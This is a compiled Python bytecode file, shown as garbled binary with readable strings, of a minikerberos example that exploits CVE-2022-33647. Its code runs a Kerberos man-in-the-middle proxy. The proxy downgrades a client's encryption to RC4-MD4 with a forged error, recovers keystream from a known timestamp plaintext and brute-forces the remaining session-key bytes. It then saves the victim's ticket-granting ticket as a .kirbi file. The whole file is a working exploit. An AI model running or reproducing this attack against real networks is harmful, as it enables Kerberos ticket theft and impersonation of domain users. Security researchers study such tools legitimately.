o
    �õ±jC*  ã                   @   s4  d dl Z d dlZd dlZd dlZd dlmZmZmZmZm	Z	m
Z
mZmZmZmZmZmZmZmZmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZm Z  d	d
„ Z!e" #d¡e" #d¡e" #d¡e" #d¡dœZ$d dd„Z%dd„ Z&dd„ Z'dd„ Z(G dd„ dƒZ)dd„ Z*dd„ Z+e,dkr˜e+ƒ  dS dS )!é    N)ÚKerberosMessageÚMETHOD_DATAÚ
ETYPE_INFOÚETYPE_INFO2ÚPA_DATAÚ	KRB_ERRORÚPrincipalNameÚEncryptedDataÚHostAddressÚAS_REQÚEncryptionKeyÚTicketFlagsÚKrbCredInfoÚEncKrbCredPartÚKRB_CRED)Ú
PaDataType)ÚKerberosCredential)ÚKerberosTarget)ÚKerberosSPN)ÚAIOKerberosClient)ÚKeyÚ_enctype_tablec                 C   s   t dd„ t| |ƒD ƒƒS )Nc                 S   s   g | ]\}}||A ‘qS © r   )Ú.0Ú_aÚ_br   r   ú—/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/CVE_2022_33647.pyÚ
<listcomp>"   s    zbyte_xor.<locals>.<listcomp>)ÚbytesÚzip)Úba1Úba2r   r   r   Úbyte_xor!   s   r"   Úa1030201Úa1040202Úa1050203Úa1060204)é   é   é   é   éd   c                    s8   t  | ¡ ¡ ‰ dd ‡ ‡fdd„tdtˆ ƒˆƒD ƒ¡ S )Nz    z
    c                    s   g | ]
}ˆ ||ˆ … ‘qS r   r   )r   Úi©ÚkdÚnr   r   r   -   s    z format_kirbi.<locals>.<listcomp>r   )Úbase64Ú	b64encodeÚdecodeÚjoinÚrangeÚlen)Údatar/   r   r-   r   Úformat_kirbi+   s   *r7   c                 C   s  d|dœ}i }t |ƒ|d< | d |d< | d |d< ttg d¢ƒƒ|d	< ||d
< ||d< |tjdd� jdd�|d< |tjdd� jdd�|d< | d |d< tdd| d gdœƒ|d< i }t|ƒg|d< i }d|d< t|ƒ 	¡ |d< i }d|d< d|d< t
|ƒ|d< | d g|d< t|ƒS ) Né€ÿÿÿ)ÚkeytypeÚkeyvalueÚkeyÚcrealmÚprealmÚcnameÚpname)z
enc-pa-repÚforwardableÚ	renewableÚinitialÚ	proxiableÚflagsÚauthtimeÚ	starttimeé   )Údaysr   ©ÚmicrosecondÚendtimez
renew-tillÚsrealmÚkrbtgt©z	name-typeúname-stringÚsnamezticket-infoÚetypeÚcipheré   Úpvnoé   úmsg-typeúenc-partÚticketÚtickets)r   r   ÚsetÚdatetimeÚ	timedeltaÚreplacer   r   r   Údumpr	   r   )ÚtgtÚ
sessionkeyÚnowÚkeydÚciÚtiÚteÚtr   r   r   Útgt_to_kirbi0   s2   þrg   c                 C   sÔ   t | ƒ}|dkrtdƒ‚|d }|d }|dk r!|jdddd�}n|dk r0d	|jdddd� }n
d
|jdddd� }|dk rG|jdddd�}n|dk rVd	|jdddd� }n
d
|jdddd� }d| d | d S )Né   ÚNOé   rG   ÚbigF©Ú	byteorderÚsignedé   ó   �ó   ‚é   ó   yó   0s    0 €¡)r5   Ú	ExceptionÚto_bytes)rR   Údata_lengthÚ	first_lenÚ
second_lenÚflÚslr   r   r   Úcalc_known_plaintextQ   s    r|   c                  C   s>   g } t dƒD ]}dd|jdddd� dœ}|  t|ƒ¡ q| S )	Né2   rG   s     rr   rk   Frl   )z	addr-typeÚaddress)r4   rv   Úappendr
   )ÚhostsÚxÚhdr   r   r   Úget_padding_datai   s   þrƒ   c                   @   s6   e Zd Zddd„Zdd„ Zdd„ Zdd	„ Zd
d„ ZdS )ÚKerberosProxyéX   c                 C   s   || _ || _|| _|| _d S ©N)Údc_ipÚdc_portÚ	listen_ipÚlisten_port)Úselfr‡   r‰   rˆ   rŠ   r   r   r   Ú__init__w   s   
zKerberosProxy.__init__c              
   Ã   s‚   �z'|  d¡I d H }tj|ddd�}|  |¡I d H }t |¡}|j}|||d fW S  ty@ } zd d d |fW  Y d }~S d }~ww )Nrj   rk   Frl   )ÚreadexactlyÚintÚ
from_bytesr   ÚloadÚnativeru   )r‹   ÚreaderÚticketlenrawÚ	ticketlenÚ
ticketdatarX   ÚticketnativeÚer   r   r   Úread_ticket}   s   €
€ÿzKerberosProxy.read_ticketc              
   Ã   sf   �zt |ƒjdddd�}| || ¡ | ¡ I d H  W dS  ty2 } z
d |fW  Y d }~S d }~ww )Nrj   rk   Frl   ©TN)r5   rv   ÚwriteÚdrainru   )r‹   Úwriterr•   Útlenr—   r   r   r   Úsend_ticket‰   s   €€ÿzKerberosProxy.send_ticketc           )      Ã   sÐ  �d }�zÕ�z¬|  d¡}d|d |d f }td| ƒ |  |¡I d H \}}}}	|	d ur.|	‚|d dkrLtd|d  ƒ W W |d urF| ¡  | ¡  d S |d	 D ] }
|
d
 dkrpt |
d ¡j}|d dkrp|d dd … } n€qPtdƒ tj tj	j
¡}|d d }ttjjtddigƒ ¡ dœƒ}tdddœƒ}tdddœƒ}tdddœƒ}||||g}dd|jdd�|jd|tdd|gdœƒt|ƒ ¡ dœ}	t|	ƒ ¡ }|  ||¡I d H \}}	|	d urà|	‚W W |d urê| ¡  | ¡  d S td| j| jf ƒ t | j| j¡I d H \}}td ƒ td!ƒ tƒ |d d"< t|ƒ ¡ }|  ||¡I d H \}}	|	d u�r.|	‚td#ƒ |  |¡I d H \}}}}	|	d u�rE|	‚td$ƒ |d% d dd … }t|d% d dd … ƒ}t|ƒd&k �r{td'ƒ W W |d u�ru| ¡  | ¡  d S td(| ¡  ƒ td)| ¡ d d*…  ƒ |t|ƒd … }|t|ƒd … }t|t t|ƒ ƒ}t||ƒ}td+| ¡  ƒ td,| ¡ d d*…  ƒ td-| ¡  ƒ td.| ¡  ƒ td/| ¡  ƒ td0ƒ t!| jƒ} t"ƒ }!|d d1 d2 d |!_#|d d |!_$d3|!_%t&|!| ƒ}"||"_'t(d4ƒD ]ª}#|#j)dd5d6d7�}#||# d8 }$td9|$ ¡  ƒ ||"_'t*d |"_+d|"_,t-d|$ƒ|"_.z|" /t0 1d:¡¡I d H  W n t2�yP }% zW Y d }%~%�qd }%~%ww tj tj	j
¡jdd�}td;|$ ¡  ƒ t3||$|ƒ ¡ }&td<ƒ tt4|&ƒƒ d=| 5d>¡ }'td?|' ƒ t6|'d@ƒ�}(|( 7|&¡ W d   ƒ n	1 �sšw   Y   W W |d u�r«| ¡  | ¡  d S W n t2�yÉ }% z
t8 9¡  W Y d }%~%nd }%~%ww W |d u�rÔ| ¡  | ¡  d S |d u�rã| ¡  | ¡  w )ANÚpeernamez%s:%sr   rG   z[+] Client connected from %srV   é
   z9[-] Not expected ticket arrived from client. Msg type: %sÚpadataúpadata-typerr   úpadata-valuerQ   r8   rR   é   z.[+] Downgrading Kerberos encryption to RC4_MD4zreq-bodyÚrealm)r¢   r£   ó    é   é   rS   é   rI   é   rM   rN   )rT   rV   ÚstimeÚsusecz
error-coder¥   rP   ze-dataz[+] Connecting to DC at %s:%sz[+] Connected to DC!z [+] Modifying original AS-REQ...Ú	addressesz$[+] Submitting original AS-REQ to DCz([+] Got AS-REP with the correct enctype!rW   é   z1[-] AS-REP cipher data too short! Will not work..z[i] ENC TIMESTAMP: %sz[i] AS-REP CIPHER: %sé@   z[i] ENC BYTESTREAM   : %sz[i] CIP BYTESTREAM   : %sz[i] KNOWN PLAINTEXT  : %sz[i] KEYSTREAM FROM TS: %sz[i] DEC KEY - 4 BYTES: %sz-[+] Guessing last bytes of the session key...r>   rO   ÚAro   rk   Frl   s   «««««««««««z[i] GUESSING KEY: %szkrbtgt@test.corpz%[+] GUESSED CORRECTLY! SESSIONKEY: %sz[+] KIRBI DATA:z%s.kirbiz%Y%m%d_%H%M%Sz[+] Writing .kirbi file to: %sÚwb):Úget_extra_infoÚprintr˜   Úcloser	   r�   r‘   r[   ra   ÚtimezoneÚutcr   r   r   Úvaluer^   r]   rJ   r   r   r   rž   r‡   rˆ   ÚasyncioÚopen_connectionrƒ   r   r|   r5   Úhexr"   Úts_len_hdr_lookupr   r   ÚusernameÚdomainÚpasswordr   Úkerberos_TGTr4   rv   r   Úkerberos_cipherÚkerberos_cipher_typer   Úkerberos_session_keyÚget_TGSr   Úfrom_upnru   rg   r7   ÚstrftimeÚopenrš   Ú	tracebackÚ	print_exc))r‹   r’   rœ   ÚdcwriterÚaddrÚsaddrr•   rX   r–   Úerrr¡   ÚedÚenc_timestampra   r¥   Úpad1Úpad2Úpad3Úpad4ÚmdÚ_ÚdcreaderÚmodded_ticketÚrticketdataÚrticketÚrticketnativeÚcipher_dataÚknown_plaintextÚts_bytesÚcipher_bytesÚ	keystreamÚdec_keyÚtargetÚ
credentialÚclientr,   Úkeyguessr—   ÚkirbiÚfilenameÚfr   r   r   Úhandle_client“   s  €
}ƒ€þþþþ

óG¹


3Ì



€ÿÿ
á€ÿ€

þ
zKerberosProxy.handle_clientc              
   Ã   s¤   �z6t j| j| j| jd�I d H }|4 I d H š | ¡ I d H  W d   ƒI d H  W dS 1 I d H s0w   Y  W dS  tyQ } zt ¡  d |fW  Y d }~S d }~ww )N)ÚhostÚportr™   )	r¸   Ústart_serverrç   r‰   rŠ   Úserve_foreverru   rÇ   rÈ   )r‹   Úserverr—   r   r   r   Úrun!  s   €ÿý€þzKerberosProxy.runN)r…   r…   )Ú__name__Ú
__module__Ú__qualname__rŒ   r˜   rž   rç   rí   r   r   r   r   r„   v   s    

 r„   c                  Ã   sˆ   �dd l } | jdd�}|jddd� |jddtd	d
� |jdddd� |jddtdd
� | ¡ }t|j|j|j|j	ƒ}| 
¡ I d H  d S )Nr   z(Kerberos proxy to exploit CVE-2022-33647)ÚdescriptionÚdcipz$IP/hostname of the domain controller)Úhelpz	--dc-portr…   z'Port of the Kerberos service on the DC.)ÚdefaultÚtyperó   z--listen-ipz	127.0.0.1z3IP/hostname to listen for incoming kerberos traffic)rô   ró   z--listen-port)ÚargparseÚArgumentParserÚadd_argumentrŽ   Ú
parse_argsr„   rò   r‰   rˆ   rŠ   rí   )rö   ÚparserÚargsÚkpr   r   r   Úamain,  s   €rý   c                   C   s   t  tƒ ¡ d S r†   )r¸   rí   rý   r   r   r   r   Úmain8  s   rþ   Ú__main__)r+   )-r¸   rÇ   r[   r0   Ú"minikerberos.protocol.asn1_structsr   r   r   r   r   r   r   r	   r
   r   r   r   r   r   r   Úminikerberos.protocol.constantsr   Úminikerberos.common.credsr   Úminikerberos.common.targetr   Úminikerberos.common.spnr   Úminikerberos.aioclientr   Ú minikerberos.protocol.encryptionr   r   r"   r   Úfromhexr»   r7   rg   r|   rƒ   r„   rý   rþ   rî   r   r   r   r   Ú<module>   s8   Dü
! 7
ÿ